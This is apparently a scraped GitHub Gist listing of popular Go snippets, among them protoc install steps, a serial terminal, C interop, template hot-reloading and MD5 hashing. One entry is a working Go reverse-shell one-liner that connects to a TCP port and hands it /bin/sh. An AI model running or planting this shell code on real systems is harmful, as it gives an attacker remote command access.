Skip to content

Instantly share code, notes, and snippets.

# Make sure you grab the latest version
curl -OL https://github.com/google/protobuf/releases/download/v3.2.0/protoc-3.2.0-linux-x86_64.zip
# Unzip
unzip protoc-3.2.0-linux-x86_64.zip -d protoc3
# Move protoc to /usr/local/bin/
sudo mv protoc3/bin/* /usr/local/bin/
# Move protoc3/include to /usr/local/include/
// junkterm is a quick and dirty serial terminal.
package main
import (
"io"
"log"
"os"
"github.com/pkg/term"
"github.com/spf13/cobra"
@17twenty
17twenty / GoWithC.go
Last active July 11, 2016 04:29
Cross Compiling and Language Interop oh my!
package main
import (
"./binding"
"fmt"
)
func main() {
binding.PrintHello()
binding.Seed(1)
fmt.Println(binding.Random())
@ericlagergren
ericlagergren / index.gohtml
Last active December 22, 2023 17:51
Hot-reloading / hot-swapping live template files in Go
My name is {{.Name}} and I'm {{.Age}} years old!!
@region23
region23 / golang_books_sites.md
Last active July 18, 2022 08:58
Полезные ресурсы для изучающих Go

На русском языке

Русскоязычные сайты и сообщества

English resources

@kachayev
kachayev / concurrency-in-go.md
Last active March 11, 2024 11:27
Channels Are Not Enough or Why Pipelining Is Not That Easy
// helper methods for testing
package test
import (
"fmt"
"path/filepath"
"runtime"
"testing"
)
@takeshixx
takeshixx / shell.go
Last active November 8, 2020 18:48
Golang reverse shell
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1337");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go
@sergiotapia
sergiotapia / md5-example.go
Last active December 5, 2023 03:53
Golang - How to hash a string using MD5.
import (
"crypto/md5"
"encoding/hex"
)
func GetMD5Hash(text string) string {
hasher := md5.New()
hasher.Write([]byte(text))
return hex.EncodeToString(hasher.Sum(nil))
}